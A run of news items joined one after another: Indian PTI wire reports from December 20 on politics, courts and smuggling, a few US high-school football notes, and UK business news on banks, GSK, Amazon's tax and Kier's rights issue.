Lucknow: Congress members staged walkout from the Uttar Pradesh Assembly Thursday, alleging demolition of temples in Varanasi for the Kashi Vishwanath corridor and "throwing away" of Lord Shiva statues by the state government. LUCKNOW DEL40 UP-HANUMAN-MUSLIM Lucknow: In an interesting twist to the debate over Lord Hanuman after Uttar Pradesh Chief Minister Yogi Adityanath termed the god a Dailt, his party colleague and MLC Bukkal Nawab Thursday said the deity was "actually a Muslim". CHANDIGARH DES30 PB-PANCHAYAT-NOMINATIONS Chandigarh: A total of 48,111 nominations papers were filed for the post of sarpanch and 1,62,383 nominations for panch for the panchayat elections, slated to be held on December 30, officials said Thursday. PTI ASH ASH New Delhi, Dec 20 (PTI) Attacking the Congress over the AgustaWestland chopper deal, the BJP Thursday claimed the internal audit of the Italian firm has said there was a scam to the tune of Rs 236 crore and British middleman Christian Michel was "engaged" with the entire UPA cabinet. The Central Bureau of Investigation (CBI) is investigating the alleged scam in the AugustaWestland chopper deal, Union Minister Prakash Javadekar said, addressing a press conference at the BJP office here. News paper reports have claimed that Michel did not cooperate for many days with the agency, he claimed. "It was because he was tutored by a Congress lawyer about how not to cooperate with the CBI. The internal audit of the company, proves its a Rs 236 crore scam. "Michel visited India 300 times in last 10-15 years and he knew about the movement of each file," he claimed and cited the media reports. There is no genuine transaction of this amount and it proves that it was given to someone, the minister claimed. Javadekar alleged that another another news report claimed that "classified reports were sent outside the country by Michel. There is correspondence says he engaged practically entire UPA cabinet." The minister said as a Rajya Sabha MP he had questioned the then defence minister A K Antony over the deal, but Antony was evasive in his response and had said no inquiry can be done in India because no report has come from Italy. Javadekar said he also wrote a letter to Antony on December 12, 2012, and challenged the then defence minister that his reply was not factual as probes have already started overseas. PTI JTR JTR ANB ANB New Delhi, Dec 20 (PTI) Journalist bodies have called for dropping of charges against an Imphal-based journalist who was recently sentenced to one year in detention for criticising the BJP-led governments at the Centre and in Manipur on social media. The District Magistrate of Imphal West had ordered detention of Kishorechand Wangkhem, a 39-year-old journalist who works for a TV channel, on November 27 allegedly after he uploaded videos criticising the BJP-led governments in Manipur and the Centre for observing Rani Jhansi's birth anniversary, a Manipur government order said. According to a state home department statement issued on December 14, the Advisory Board of the National Security Act (NSA), in its sitting held on December 11, had examined the allegations levelled against Wangkhem. On December 13, the board recommended that there were "sufficient grounds" to detain the scribe under the provisions of the NSA. The Indian Women's Press Corps, Press Club of India, Press Association and Federation of Press Clubs in India in a joint statement said, "His statements do not seem an attempt to disturb peace...it was a mere expression of opinion which cannot be equated with an attack to invite people to violence against the Government of India or Manipur to topple it..." "We, the undersigned journalist organisations express deep concern at the 12-month detention of a Manipur journalist, Kishorechand Wangkhem, under the National Security Act," it said. The statement said that to book individuals under non-bailable and harsh laws for allegedly using intemperate language to criticise government's decisions or individuals in government, is a measure of "governmental overreach" apart from being a violation of the fundamental right to free speech. "We demand that the harsh provisions under which Wangkhem has been booked be dropped in the interests of justice and the right to freedom of speech and expression," it added. PTI UZM SRY New Delhi, Dec 20 (PTI) Two foreign nationals -- an Afghani and a Singaporean -- have been arrested by the DRI in two separate incidents for allegedly trying to smuggle out about Rs 7 crore foreign currency from Delhi and Bangalore airports, the agency said Thursday. In the first case on December 17, sleuths of the Directorate of Revenue Intelligence (DRI) intercepted an Afghan national who was at the Indira Gandhi International (IGI) airport to take a flight to Dubai. A search of the belongings of the foreigner led to the recovery of US dollars worth Rs 3.59 crore concealed inside a microwave oven, in the packaging of ceramic mugs and the inner lining of the passenger's checked-in suitcase, the DRI said in a statement. "Initial investigations have revealed that the foreign currency was being smuggled out of India as payment for the gold that had been smuggled into the country previously," it said. In the second case that took place at the Bangalore airport on December 18, the DRI said a Singaporean national was arrested for allegedly trying to smuggle out US dollars, Saudi Riyal and Euros totalling Rs 3.5 crore. "During this calendar year, the Customs department has arrested a total of 219 foreign nationals on charges of smuggling gold into India and foreign currency out of India. Arrested individuals include nationals from South Asia, East Asia, South-East Asia and Africa," the agency said. PTI NES NES AQS AQS New Delhi, Dec 20 (PTI) The CPI(M) Thursday removed G V Sreerama Reddy, member of its central committee and secretary of the Karnataka state committee from all elected positions in the party on charges of serious misconduct, a statement from the party said. The party, however, did not disclose the exact reasons behind his ouster. "The Central Committee of the Communist Party of India (Marxist) at its December 15-16, 2018 meeting decided to remove G V Sreerama Reddy, Member of the Central Committee and Secretary of the Karnataka State Committee of the Party from all elected positions in the Party on charges of serious misconduct," the statement said. It further said that the Karnataka State Committee of the Party held a meeting on December 18, which was attended by the General Secretary and four Polit Bureau members. The meeting unanimously elected Comrade U Basavaraj as the Secretary of the State Committee. PTI ASG RCJ New Delhi, Dec 20 (PTI) Union minister Vijay Goel said Thursday it was no big deal if the Congress and the AAP join hands in Delhi for the 2019 elections, targeting former chief minister Sheila Dikshit for her stand on the issue in an 'open letter' Thursday. The former Delhi BJP president said it was due to the "greed of power" as well as the "fear" of the BJP and Prime Minister Narendra Modi that the Congress and the Aam Aadmi Party (AAP) were talking of fighting the elections together. Both the parties are "sailing in the same boat" and its no big deal if they become ready for a compromise, Goel said in his letter to Dikshit. The senior Congress leader who was the chief minister of Delhi for 15 years (1998-2013) and a one-time bitter critic of Arvind Kejriwal, said Wednesday that her party high command will take any decision on alliance with the AAP in Delhi. "I have nothing to do with it. It's the high command which has to take a decision. Whatever its decision, I am not going to question it," Dikshit had told PTI on being asked about possibility of an alliance with the AAP. Dikshit had said she will not question any decision her party takes in this regard. Saying that it was "indigestible" that the Congress was planning to join hands with the AAP, Goel hoped that Dikshit will "reconsider" her decision. "Was that all drama when Congress demonstrated against Arvind Kejriwal(government) on the issues of water, electricity, education, health and corruption ?," Goel questioned the veteran Congress leader in Delhi. Delhi Congress president Ajay Maken has repeatedly rejected possibility of any alliance with the AAP in Delhi. In June this year, addressing a joint press conference alongwith Dikshit at Delhi Congress office, Maken had categorically rejected chances of his party joining hands with the AAP in Delhi. In case the two parties come together to contest the Lok Sabha elections in Delhi, the BJP will be faced with an uphill task to retain its tally of seven seats it won in 2014. In 2014 Lok Sabha polls, the BJP swept the elections scoring 7-0 while AAP and Congress drew blank. The AAP came second while the Congress stood third. However, in six seats, the combine votes of the AAP and the Congress were much more than that obtained by the BJP. PTI VIT CK New Delhi, Dec 20 (PTI) The ABVP Thursday accused the NSUI of not allowing the Delhi University Students' Union to function and making false allegations against them. The Akhil Bharatiya Vidyarthi Parishad's remarks came a day after the NSUI alleged that DUSU president Shakti Singh, a member of the BJP's student wing, entered the office of the union's president by breaking its lock and abusing officials and security staff. Terming the matter contempt of court, the National Students' Union of India (NSUI) said they will file a complaint with the Delhi University authorities in the matter. However, the Delhi High Court had Tuesday dismissed a plea by Congress-backed NSUI leader Sunny Chillar challenging the election of DUSU ex-president Ankiv Baisoya for allegedly furnishing a fake bachelor's degree to get admission in the university. The charge by the NSUI has been denied by the ABVP, saying it was hindering its work. "The NSUI has been posing difficulties in our work in the DUSU. The varsity administration has also displayed a biased attitude. We had sent letters around one and a half months ago to meet the vice-chancellor but we did not get any reply. "However, DUSU secretary, who is an NSUI member, got an appointment to meet the vice-chancellor," the ABVP said. Singh, who was vice president in the DUSU assumed office of the president Tuesday, has written four letters to the varsity authorities over different issues. In two separate letters written to the varsity proctor and DUSU advisor, Singh said the administration was sleeping and there has been unnecessary delay in him getting the president's post. "Due to the DUSU president's post lying vacant for a long time, many students' issues have not been addressed. The students are disappointed with the varsity administration over this delay and might resort to violent means, for which we should not be held responsible," he said in the letters dated December 20. The Delhi University had cancelled admission of Baisoya on November 14 after receiving a letter from the Thiruvalluvar University, confirming that his bachelor's degree was fake. Baisoya was also suspended from the ABVP and an inquiry into allegations that he got admission in the varsity on the basis of a fake marksheet was ordered. Police have also registered an FIR in the case. The DUSU elections were held in September. PTI SLB SLB ANB ANB Lucknow, Dec 20 (PTI) Chief Judicial Magistrate Anand Prakash Singh fixed December 21 for taking cognizance on the chargesheet submitted in connection with Apple area sales manager Vivek Tiwari's killing on September 29. The charge sheet was filed in the court on Thursday. Taking the chargesheet on record, the court has also summoned the two accused - Prashant and Sandeep -- from jail on the date. Station House Officer of Mahanagar Police Station Vikas Kumar Pandey submitted the chargesheet in the court and requested the court to correct the custody warrant after summoning the accused from jail. The SHO also requested the court to take cognizance of the offences. The chargesheet came against Prashant under section 302 IPC while against Sandeep under section 323 IPC. Meanwhile, Vivek's wife Kalpana Tiwari moved an application in the court seeking its permission to hear her stand before taking cognizance of the offences. On the other hand, the sessions judge deferred hearing on the bail plea of Sandeep till January 1. On September 29, the constable had shot at the 38-year-old Apple store manager, who was in an SUV, after he allegedly refused to stop his car in Gomti Nagar. A Special Investigation Team (SIT) of the UP Police had suggested in its report that constable Prashant Chowdhary had opened fire "without any provocation" at Apple employee Vivek Tiwari, leading to his death. PTI COR SMI IND IND Lucknow/Noida, Dec 20 (PTI) A BJP MLA Thursday criticised former bureaucrats who have sought Uttar Pradesh Chief Minister Yogi Adityanath's resignation over the Bulandshahr mob violence, saying they were concerned only with the death there of two men and not of "21 cows". MLA Sanjay Sharma, who represents Anupshahr assembly constituency in Bulandshahr, also said only the people have the power to remove a chief minister elected with huge mandate. Over 80 former bureaucrats had written an open letter Wednesday alleging failure of the state and central governments in the handling of the December 3 mob violence in Bulandshahr's Siyana Tehsil after cow carcasses were found near a village. They had accused Adityanath of bigotry and sought his resignation over the violence in which an on-duty police inspector, Subodh Kumar Singh, and a civilian, Sumit Kumar, were died after suffering bullet injuries. "Now you all are worrying about the Bulandshahr incident. Your imaginative brains can see only the two deaths, that of Sumit and the duty-bound police inspector. You cannot see that 21 cows also died," MLA Sharma wrote in his open letter Thursday. "In a state where farmers are tolerating loss of their crops for the last two years for the sake of cows and thank the chief minister for stopping cow slaughter how would that Hindu then tolerate cow slaughter? "Had there been no cow slaughter, such an incident would not have taken place. Hence, the action against those slaughtering cows is correct," he wrote. His letter comes at a time when the police in Bulandshahr have arrested three men over the alleged cow slaughter that took place in Siyana on December 3. Police registered an FIR for cow slaughter on a complaint by local Bajrang Dal leader Yogesh Raj, who had accused seven people. During initial probe, police had arrested four people but later released them. Three men who were not named in the FIR were arrested Tuesday as "the actual culprits" in the case. For mob violence, another FIR was registered on the same day naming 27 people and 50 to 60 unidentified people. So far, 19 people have been arrested in the mob violence case, even as Yogesh Raj of the Bajrang Dal, who is a key suspect in the violence, remained at large. MLA Sharma said the former civil servants have accused the chief minister of bias against a particular community, when he himself allowed them permission to hold a huge three-day congregation. "This happened in the same state where previous governments would not allow Ramleelas to be held in villages. Had there been a bias, why would the government allow the congregation?" he wrote. On wrong people getting arrested for cow slaughter and they all being from the same community, the MLA said it was the government which "self-corrected" itself at that point but "unfortunately the others arrested later for the act also belong to the same community and your assertion of bias in that light reflects your mental weakness." "On your demand for the chief minister's resignation in your letter, in which you have umpteen times referred to the Constitution, let me remind you that only the people, who have elected the chief minister with a huge mandate, can remove him and not some scurrilous people like you who challenge the constitutional system," Sharma wrote. The lawmaker also the former bureacrats' letter appeared "politically motivated". PTI SMI/KIS ANB ANB New Delhi, Dec 20 (PTI) The Delhi High Court on Thursday told the AAP government that it was liable to pay the three municipal corporations in the city in accordance with the recommendations of the Fourth Delhi Finance Commission (4th DFC). A bench of Chief Justice Rajendra Menon and Justice V K Rao said that if the Delhi government has objections to releasing funds as claimed by the three municipal bodies under the 4th DFC, then the Chief Secretary will have to file an affidavit indicating reasons for it, and will be considered on the next date of hearing on January 8. "It is your (Delhi government) liability to pay as per the 4th DFC," it said. The court, during the hearing, asked the corporations to inform the Delhi government within three days about the amount of funds they need to pay the salaries and pensions of their employees according to the 4th DFC recommendations. The bench said that on receiving the claim, the Delhi government will release the funds to the corporations. However, Delhi government standing counsel Rahul Mehra objected to this saying that the amounts claimed have to be verified first. The bench disagreed with the contention at first, but when Mehra persisted that no interim order be passed without giving a full hearing to the government, the court directed that if there was any variation in amounts claimed by the corporations, then it should be mentioned by the Chief Secretary in the affidavit. The court also declined to issue any direction to the central government despite the Delhi government's claim that the Centre too has to contribute towards the funding of the corporations. The bench said it had twice in the past -- on April 16 and May 25 this year -- directed the Delhi government to implement the 4th DFC recommendation and said it will not proceed with the instant matter till its orders are complied with. Mehra contended, during the hearing, that the Delhi government has complied with the directions of the court. He also alleged that the north and east Delhi municipal were in poor financial condition due to poor management, more cleaning staff and "ghost employees". The bench was hearing a batch of writ petitions on providing adequate funds to all the local bodies, including the three municipal corporations, to enable their proper functioning. On April 16, the high court had directed the Delhi government to release the amounts according to the 4th DFC within four weeks for the period from November 1 last year to March 31 this year, saying it was imperative to ensure salaries are paid and civic facilities are not affected. PTI HMP SKV SA Raipur, Dec 20 (PTI) Senior journalist Vinod Verma, whose name had cropped in the "sex CD" episode last year, was Thursday appointed political advisor to Chhattisgarh Chief Minister Bhupesh Baghel. The General Administration Department (GAD) appointed four advisors to the chief minister, an official statement said. While Verma was appointed political advisor to Baghel, another journalist Ruchir Garg, who quit as an editor of a Hindi daily and joined the Congress ahead of the just concluded assembly polls, was named media advisor to the Congress chief minister. Besides, Pradip Sharma was appointed planning, policy, agriculture and rural development advisor and Rajesh Tiwari parliamentary advisor to Baghel, the statement said. Verma, a close confident of Baghel, was arrested from Ghaziabad in October 2017 by the Raipur police after a case of blackmailing and extortion was registered at the Pandri Police Station here on a complaint by Bharatiya Janata Party (BJP) leader Prakash Bajaj. Bajaj had alleged that he was "being harassed over phone by an unidentified caller", who told him he had a CD of his "aaka" (master). The police had claimed to have recovered 500 CDs and some pen drives from Vermas residence during a raid. After Verma's arrest, a "sex CD", purportedly featuring the then PWD Minister Rajesh Munat, had surfaced in Raipur. Munat had termed the CD as "fake" and alleged it was made and circulated to tarnish his image. He had later filed a complaint against Baghel, the then state Congress president. On recommendation of the then BJP government, the Central Bureau of Investigation (CBI) took over the investigation of two cases related to the circulation of the CD. Verma was released on bail in December last year after the police failed to file a charge sheet against him in the mandatory 60 days. In September this year, the CBI had filed the charge sheet in a special court here in the case, naming Baghel, Verma and three others as accused. During the investigation, one more accused, Rinku Khanuja, had allegedly committed suicide in June this year. All the accused were booked under IPC sections 469 (forgery for purpose of harming reputation), 471 (using as genuine a forged document), 120B (criminal conspiracy) and 67A of the IT Act (whoever publishes or transmits or causes to be published or transmitted in the electronic form any material which contains sexually explicit act), according to the charge sheet. Verma and Baghel had denied any involvement in the preparation or circulation of the CD. Baghel had initially refused to apply for bail and stayed in judicial custody for a couple of days. The Congress leader, who had said he was falsely implicated in the case, later obtained bail from the court. PTI TKP RSY RHL Indore, Dec 20 (PTI) The National Human Right Commission (NHRC) has issued notices to Defence secretary and Pune Police commissioner and sought their replies in connection with alleged rape of a 34-year-old woman employee of a military hospital in Pune district of Maharashtra in 2015, said an activist. Human rights activist Jayesh Rajpurohit, who had lodged a complaint with the NHRC based on media reports, said the commission has taken cognisance of his plea. The NHRC issued notices on December 18 and sought a compliance report as per section 166 (A) of the IPC in four weeks, he added. On October 16, the Pune Police booked four Army personnel for allegedly raping the 34-year-old speech-and hearing-impaired woman employee of the military hospital. The alleged offence took place between January and June 2015 at the hospital in Pune's Khadki suburb. The woman had been working at the facility since 2014. "According to the womans complaint, she was on night duty (at the hospital) when she was allegedly raped by one of the accused, who at the time was posted at the hospital," a senior police official had said. "When the survivor told another personnel about the incident, he initially told her that he would reprimand the accused. But he too sought sexual favours from her by threatening her to make the message viral, and allegedly raped her. After some days, two more personnel approached the woman and allegedly took advantage of her," he had said. The woman, a class IV employee at the hospital, had approached an NGO in Indore, Madhya Pradesh, earlier this year about her plight. The NGO subsequently approached the Indore police. On October 16, the Indore Police informed their Pune counterpart about the matter, which registered a case against the four personnel under IPC sections 376 (rape) and 354 (molestation). Besides the police, the army too is conducting a 'court of inquiry' against the four personnel, who also worked in the same military hospital at the time. An official of the Army's Southern Command had said they were conducting an inquiry into the matter. "The court of inquiry was initiated well before the police complaint was registered," he had said. PTI HWP LAL KRK AQS AQS New Delhi, Dec 20 (PTI) Leaders across party lines and presiding officers of both the Houses in Parliament Thursday paid tributes to former parliamentary affairs minister and BJP leader Ananth Kumar. Kumar passed away at a hospital in Bengaluru on November 12 after battling lung cancer for several months. His family members were also present at the condolence meet at the Constitution Club here. "I can't even think I would have to come to his condolence meet," a teary-eyed BJP patriarch L K Advani said. External Affairs Minister Sushma Swaraj said though she was only a few years elder to Kumar, he "used to call me Maa.'' Vice-President and Rajya Sabha Chairman M Venkaiah Naidu recalled Kumar as a lively person and an ideal grassroot worker and parliamentarian. Lok Sabha Speaker Sumitra Mahajan said the late leader would be remembered for his expertise in parliamentary matters. BJP chief Amit Shah said Kumar came into the BJP through his mother who was also associated with the party. Nationalist Congress Party leader Supriya Sule, BJD's B Mahtab and Congress's K H Muniyappa were among other leaders attended the meet and paid their respects to Kumar.PTI JTR ANB ANB CALEB MAGGS, Chariho, Football, Junior; Maggs caught 11 passes for 119 yards and two touchdowns in the Chargers loss to East Greenwich on Thanksgiving eve. He had scoring receptions of 1 and 29 yards. LUKE LOWRY, Stonington, Football, Junior; Lowry caught a pair of TD passes in the Bears Thanksgiving Day loss to Westerly. The two scoring receptions matched a record for the holiday game held by five others. Lowry had touchdown catches of 36 and 67 yards. He was named Stoningtons top offensive player in the game. ZACK TUCK, Westerly, Football, Junior; Tuck rushed for 241 yards and scored three touchdowns in the Bulldogs Thanksgiving Day victory over Stonington. Tuck was named the games MVP and was also selected as Westerlys top offensive player. Vote View Results Conservative MP Kevin Hollinrake called on Lloyds boss Antonio Horta-Osorio (pictured) to resign at PMQs Is pompadoured Lloyds boss Antonio Horta-Osorios position endangered by the HBOS/Reading scandal? Conservative MP Kevin Hollinrake, a successful businessman before entering the house, called on him to resign at PMQs yesterday over his handling of the scandal. Its the second time Hollinrake has made such a demand in the chamber this week. The Prime Minister, incidentally, didnt demur. Life for ex-Nissan chairman Carlos Ghosn, whos being held in a detention centre while Japanese prosecutors investigate possible financial wrongdoing, is considerably more modest than what hes used to. Those familiar with Japans penal system say he is being kept in an air-conditioned cell with just a tatami mat to sleep on. No pillows are allowed. Breakfast is a meagre cup of miso soup with rice. And to think barely five months ago, jet-setting Ghosn was hosting a no-expense-spared wedding for his daughter on the island of Naoshima. Former Conservative treasurer and hedge fund millionaire Lord Fink is standing down as chairman of commodity trading firm International Standard Asset Management, according to Financial News. Perhaps grocers boy Stanley, whos given the Tories more than 2.5million, will now use the spare time to devote more energy to the House of Lords. Hes only spoken three times in the past year. Barclays has been fined 12million by the New York State department of financial services after its chief executive, Jes Staley, was caught trying to unmask a whistleblower. Our own regulator, the Financial Conduct Authority, punished Staley with a 640,000 fine. Is it possible Americans have more of an appetite for cracking down on financial misconduct? Re the Financial Conduct Authority: its move from Canary Wharf to new offices in Stratford, east London, was not entirely popular with the watchdogs staff. Some complained of the remote location, others of reports of knife crime in the area. Now they have another reason to hate them. Im told theyre equipped with creepy gender-neutral lavatories. GlaxoSmithKlines chief exec Emma Walmsley is in overdrive GlaxoSmithKlines love of big deals looks to be in its DNA. Chief executive Emma Walmsley is in overdrive. Since taking the helm she has bought out the minority in the Novartis healthcare offshoot, sold Horlicks to Unilever, bought US biotech outfit Tesaro and is partnering with Pfizer to dominate global healthcare. It is hard to carp about the creation of a more powerful consumer healthcare behemoth based in Britain, which brokers say could be valued at 38billion. That is a vote of confidence in the UK irrespective of the mess in the Commons. With many multi-billion-pound deals completed, and the possibility of doing the splits in three years, Walmsley will have soared in popularity among investment bankers. There will also be a warmer glow from some investors, including former shareholder and guru Neil Woodford, who long pressed for a divorce of consumer healthcare from research-based pharma and vaccines. The jury has been out on GSK since the Walmsley succession. There was widespread scepticism about the price paid for Tesaro. But the market likes the look of the latest transaction and marked the shares up by 4 per cent. The problem with such hyperactivity is that it doesnt recognise how disruptive deals can be. It took almost a decade for Walmsleys predecessors to sort out the overlap and morale blow of the Glaxo Wellcome merger with SmithKline Beecham in 2000. Until Walmsleys arrival, GSK was still living with complications arising from Sir Andrew Wittys complex assets swap with Novartis in 2015. That gave Glaxo greater weight in consumer healthcare, and Walmsley built on that when she bought out the minority for 9billion. But the Witty transaction also took GSK out of cutting-edge R&D for oncology and it has had to buy its way back through the Californian biotech pioneer Tesaro. There is clear logic to what Walmsley is doing and the new Glaxo-Pfizer entity, with 7.2 per cent of the over-the-counter healthcare market, will be a formidable force. The two global companies are not strangers. They have a partnership on HIV therapies and dont compete territorially on pain relief treatment. But one fears for the smaller pharmacists, who will have to deal with such a dominant supplier, and the consumers likely to be victims of greater pricing power. With GSKs Panadol and Voltaren brands in the UK and Pfizers Advil in the USA it is going to be a colossus in pain-killing. Walmsley, as the pre-separation chair of the spun-off GKN outfit with 68 per cent of the shares, will have the task of supervising the integration, finding the cost savings and making some ruthless personnel decisions about where costs are axed. The good aspect of this is that large corporations tend to favour facilities closer to headquarters than those far away, so Pfizer staff may have more to worry about than GKN employees. The reality is that Walmsley was always interested in the Pfizer portfolio, but investors would never have gone along with a deal which put billions of more debt onto the balance sheet. The joint venture brings cash flow for pharma and buys Walmsley time. The heart of GSK has to be pharmaceuticals and taking full advantage of Britains great research universities as well as the knowledge and science of Hal Barron, the companys biggest hire. The concern must be that consumer healthcare became a distraction to the detriment of bringing to market new compounds and vaccines, which is a core GSK strength. But it might have been better had GSK chairman Sir Philip Hampton looked for an independent chairman of the enlarged healthcare company, rather than Walmsley, and let chief executive Brian McNamara and finance boss Tobias Hestler get on with the managerial stuff. Flying high There has been much fuss from Brexit alarmists about airlines being grounded in the case of no deal. The latest technical notices from Brussels should allay concerns. British Airways third and fourth freedom rights which allow it to fly from London to another European airport and then to third and fourth airports are preserved. International Airlines Groups long-distance flights from the Continent, under the Iberia flag, are looked after too. Other UK carriers, such as Easyjet, have been acquiring air operating certificates, which should allow them to fly between European cities without touching down in London. Phew! Profits at consultant Begbies Traynor slipped to 600,000 for the six months to October PROFIT DIP Profits at consultant Begbies Traynor slipped to 600,000 for the six months to October, down 40 per centon a year earlier driven by costs related to an acquisition spree. SUB DEAL Marine engineer James Fisher and Sons has won a 30million contract for a submarine for South Korea. BOSSES' PAY Bosses at builder McCarthy & Stone earned 1.8million in the year to the end of August. Clive Fenton, the former chief executive, was paid 804,000, his successor John Tonkiss 510,000 and finance chief Rowan Baker 449,000. ON BOARD Scandal-hit cafe chain Patisserie Valerie has appointed ex-Starbucks director Rhys Iley as commercial director. VEGGIE SWOOP Marmite owner Unilever has snapped up meat substitute brand The Vegetarian Butcher for an undisclosed sum. BREWER OFF Julian Momen, the UK boss of Carlsberg is stepping down after two years in March, to be replaced by Tomasz Blawat. SHARES BOUGHT Javier Ferran, who is the chairman of Baileys and Guinness owner Diageo has snapped up more than 977,763.50 worth of shares. SCAM ARRESTS Four people have been arrested over a suspected 18million pension scam, accused of persuading 370 people to transfer their life savings into eight fake retirement schemes. The woman and three men were arrested at two homes in Essex last week. DIAMOND RECORD London-listed miner Gem Diamonds has unearthed two large, high-quality diamonds in Lesotho, and has now mined a record 14 diamonds of more than 100 carats in 2018. SITE OBTAINED The renewable fuels company Velocys has secured an 80-acre site in Lincolnshire for a waste-to-jet-fuel project that it is developing with Shell and British Airways. ENERGY BOOST Small energy company Bulb saw revenue rocket 1700 per cent to 183million. The sales figure compares with 10million in 2017 but losses swelled from 2.1million to 23.7million in the year to March. CHIEF NAME Health and beauty chain Boots has appointed former Tesco director Tracey Clements as chief operating officer. Royal Bank of Scotland is under fire for paying its first female finance chief up to 400,000 less than her male predecessor. RBS will give Katie Murray a maximum of 3.1million a year if she hits bonus targets. But former chief financial officer Ewen Stevenson was able to pocket up to 3.5million a year. Sexism row: Royal Bank of Scotland is paying its first female finance chief up to 400,000 less than her male predecessor Gender equality campaigners said Murray should get the same as her predecessor. Sam Smethers, chief executive of the Fawcett Society, said: 'Women consistently find themselves undervalued compared to their male counterparts. 'RBS needs to be clear of any objective reason for the differences in pay and reward. At first glance she may have an equal pay claim.' Murray, 49, is the first woman to serve as finance boss at a major UK bank. She will get fixed pay of 1.5million and 75,000 a year towards her pension, along with a maximum bonus worth another 1.5million. But Stevenson, 52, was given fixed pay of 1.6million, 280,000 towards his pension and a maximum 1.6million bonus up to 3.5million a year, which is 400,000 more than Murray. Sexism in the city RBS will give Katie Murray a maximum of 3.1m a year if she hits bonus targets RBS finance chief Katie Murray could earn 3.1million a year if she hits bonus targets, 400,000 less than predecessor Ewen Stevenson When Carolyn McCall left Easyjet, her replacement, Johan Lundgren, was hired on 34,000 more McCall was also offered 41,000 less than Adam Crozier when she replaced him at ITV, but could earn bigger bonuses Glaxo boss Emma Walmsley was hired on as much as 500,000 less than predecessor Andrew Witty Royal Mail chief Rico Back was given a salary 100,000 higher than Moya Greene, whom he replaced The appointment of Murray, a Scotswoman who has worked for the Natwest owner since 2015, is seen as a milestone for the banking industry. RBS's corporate banking head Alison Rose is seen as the most likely replacement for its chief executive Ross McEwan, meaning its two most senior jobs could both be held by women in just a year's time. Last year, senior banker Jayne-Anne Gadhia warned the lender had suffered from a 'very male culture' which was 'win-lose' when she worked there from 2001 to 2007. Gadhia, who was head of Virgin Money at the time, told MPs on the Treasury Select Committee: 'I remember a very senior woman being very upset one day, telling me that she was expected to sleep with her boss. 'That sort of thing of course means there are issues for women in progressing through financial services.' It comes amid a row over the huge pay gaps between male and female bankers lower down the food chain. Men at Barclays' investment bank arm were paid 48 per cent more than women last year, and HSBC had the biggest gap of any large business, with a gap of 59 per cent. At RBS, the difference was 37 per cent. Banks have been reducing pay for newer senior staff and cutting their pension benefits in a crackdown on excess. RBS declined to comment. Amazon is heading for a showdown with Parliament over how much tax it pays. The internet shopping giant has been told by MPs to reveal its business rates bill and what it pays in national insurance and corporation tax. But it has refused to say whether or not it will comply with the request by the Housing, Communities and Local Government committee. tax row: Amazon has refused to say whether or not it will comply with the request to reveal its business rates bill and what it pays in national insurance and corporation tax Lesley Smith, Amazon's head of policy in the UK, said it would 'take advice' on whether it was required to hand over the information. A refusal would put Amazon on a collision course with Parliament. The question of how much it pays in business rates has long been a mystery, although experts at Altus Group have estimated it as 38million for England and Wales, well below the bill faced by many High Street outlets struggling to compete. Business rates woe Business rates hold back the economy and damage the High Street, a Treasury minister has admitted. Asked by MPs if the controversial tax was a burden, Mel Stride said: 'Yes. I think any cost that a business has to bear is a brake on growth and a brake on employing people and the state of the economy.' The Mail is campaigning for the introduction of a fair tax for online shopping firms. The Chancellor pledged 900million of business rates relief in his Budget this year. But critics argue that the burden on companies is still too high. Debenhams has an 80million business rates bill while John Lewis pays 174million and Marks & Spencer 184million. Amazon disputes the 38million figure but refuses to say what the figure is. Critics say it is unfair some retailers with many shops pay more than Amazon in business rates, despite making less. Clayton Hirst, at John Lewis Partnership, said: 'The UK tax system was designed in an analogue era and we are now very much in a digital era.' Smith said shops opted for a visible site to attract shoppers. 'We have about 100 units around the country and they are chosen to service all of our customers here. 'Our business model is different we are putting a lot more into fulfilment and delivery costs because our customers do not come to us, they want things delivered. We are paying business rates but it is not the only part of our taxation.' If Amazon does not respond to a request for information and if witnesses ignore a summons or refuse to answer questions then MPs can hold it in contempt of Parliament. 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The group had been offering 64.5million new shares at 409p a share, but received only 37.7 per cent in acceptances. This means a handful of the group's underwriting banks, including Citi, HSBC and Santander, will have to pick up the pieces and have been left with a 100million headache. Brokers Numis and Peel Hunt were also underwriting the rights issue. FTSE-250 listed Kier's share price has fallen by 10.68 per cent or 41.1p to 343.9p this morning. Rights issue: Kier Group had been offering 64.5million new shares at 409p a share At the start of the year, the group's share price was trading at around 1,090p. It will fall to the banks that underwrote the issue to pick up around 40 per cent of the shares, amounting to around 100million. The syndicate is likely to try to sell on the stock at a steep discount to the 409p price. The remaining shares have been sold to sub-underwriters. According to Sky News, sources said that Woodford Investment Management, which owns about 15 per cent of Kier, had decided to take up only about half of its rights, while Aberdeen Standard Investments, which owns around 11 per cent, is thought to be the only major institution to have snapped up its full allocation of shares. Haydn Mursell, Kier's chief executive, said: 'Following the completion of the 250m rights issue, Kier enters 2019 with a strong balance sheet which puts us in an excellent competitive position.' Deal According to Sky News, sources said that Woodford Investment Management, which owns about 15 per cent of Kier, had decided to take up only about half of its rights Explaining its rationale for the move, Kier said risks associated with its net debt position have recently increased. This is because banks have started to reduce their exposure to the construction sector, which could impact the ability of the group to raise cash. The construction sector has been rattled by the collapse of outsourcing group Carillion in January, although its demise was ultimately a boon for Kier, which has since seen its order book reach record levels of 5billion. Nevertheless, business optimism in the sector hit its weakest level in nearly six years in October as Brexit delayed final decisions on projects, according to several closely watched indices. Government contractor group Interserve's shares dived last week after it said it was in rescue talks, sparking comparisons with collapsed rival Carillion. Interserve shares headed back towards record lows on Wednesday after it merged two units and said one of its managing directors will leave next month. The American owner of High Street beauty chain Boots has blamed tough trading in the UK for a fall in profits The American owner of High Street beauty chain Boots has blamed tough trading in the UK for a fall in profits. Walgreens Boots Alliance posted a 4.1 per cent dip in profits to 1.3 billion in the three months to the end of November compared with a year earlier. UK pharmacy sales dropped 3.5 per cent, while revenues across the rest of its stores were down 2.6 per cent. The group is now embarking on a major cost-cutting strategy which will see it aim to save almost 800 million over the next three years. Future job cuts have not been confirmed but the programme will begin in the UK and US, and involve making the business more focused on its growing digital operations. Across the group, sales rose 9.9 per cent to 26.7bn. Walgreens has almost 4,800 stores outside the US, with around half of them in the UK. HSBC and Standard Chartered have stopped offering banking services to under-fire Chinese telecoms giant Huawei HSBC and Standard Chartered have stopped offering banking services to under-fire Chinese telecoms giant Huawei. The British lenders are said to have decided dealing with Huawei is too risky after it was accused of evading US trade sanctions on Iran. Earlier this month, Huawei finance chief Meng Wanzhou was arrested in Canada on the request of US authorities. She faces allegations her company bypassed trade sanctions and sold goods to Iran. The two banks helped finance its activities for a decade but have become wary of dealings with companies targeted by the US, after run-ins with regulators. HSBC did not comment. Standard Chartered could not be reached. Domtar Corporation designs, 